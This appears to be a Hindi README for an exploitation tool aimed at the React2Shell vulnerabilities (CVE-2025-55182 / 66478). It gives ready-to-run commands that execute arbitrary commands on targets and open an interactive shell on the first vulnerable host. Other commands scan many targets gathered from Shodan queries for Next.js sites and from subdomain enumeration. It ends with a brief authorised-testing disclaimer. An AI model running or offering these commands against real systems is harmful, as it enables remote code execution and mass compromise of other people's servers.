Torito React2Shell स्कैनर और शोषण उपकरण (CVE-2025-55182 / 66478)

आवश्यकताएँ

• Python 3.9+
• pip install -r requirements.txt
• Subfinder बाइनरी PATH में होनी चाहिए --subfinder के लिए (Homebrew brew install subfinder या Go: go install github.com/projectdiscovery/subfinder/v2/cmd/subfinder@latest के माध्यम से स्थापित करें; प्रोजेक्ट: https://github.com/projectdiscovery/subfinder)
• Shodan उपयोग के लिए pip install shodan आवश्यक है (पहले से आवश्यकताओं में है) और एक कुंजी: export SHODAN_API_KEY=... उपलब्ध क्वेरी क्रेडिट के साथ

उपयोग

python3 torito_r2s.py --help

फ़्लैग्स

उदाहरण

सुरक्षित जांच (एकल लक्ष्य)

python3 torito_r2s.py -u https://target.com

PoC पुष्टि (साइड-चैनल रीडायरेक्ट)

python3 torito_r2s.py -u https://target.com --confirm

कस्टम कमांड के साथ शोषण

python3 torito_r2s.py -u https://target.com --exploit-cmd "whoami"

पहली हिट पर इंटरैक्टिव शैल

python3 torito_r2s.py -u https://target.com --shell

निर्यात के साथ सूची स्कैन

python3 torito_r2s.py -l hosts.txt -t 40 --confirm --json-out results.json --csv-out results.csv

केवल Shodan (कुंजी और क्रेडिट आवश्यक)

export SHODAN_API_KEY=your_key
python3 torito_r2s.py --shodan 'http.title:"Next.js"' --shodan-limit 50 --confirm

केवल Subfinder

python3 torito_r2s.py --subfinder target.com --confirm

प्रॉक्सी (Burp/Caido)

python3 torito_r2s.py -u https://target.com --proxy http://127.0.0.1:8080 --confirm

stdin के माध्यम से पाइपलाइन

cat urls.txt | python3 torito_r2s.py --confirm

आउटपुट नोट्स

• तालिका फिंगरप्रिंट (NX/AR), जांच, पुष्टि, शोषण दिखाती है।
• शोषण डाइजेस्ट संभव होने पर base64-डीकोड किए जाते हैं; वर्बोज़ मोड पूर्वावलोकन दिखाता है।
• JSON/CSV में रॉ डाइजेस्ट और डीकोड किया गया आउटपुट (यदि कोई हो) शामिल है।

सुरक्षा

• केवल अधिकृत परीक्षण के लिए।
• डिफ़ॉल्ट रन गैर-विनाशकारी जांच है; शोषण केवल --exploit-cmd या --shell के साथ निष्पादित होता है।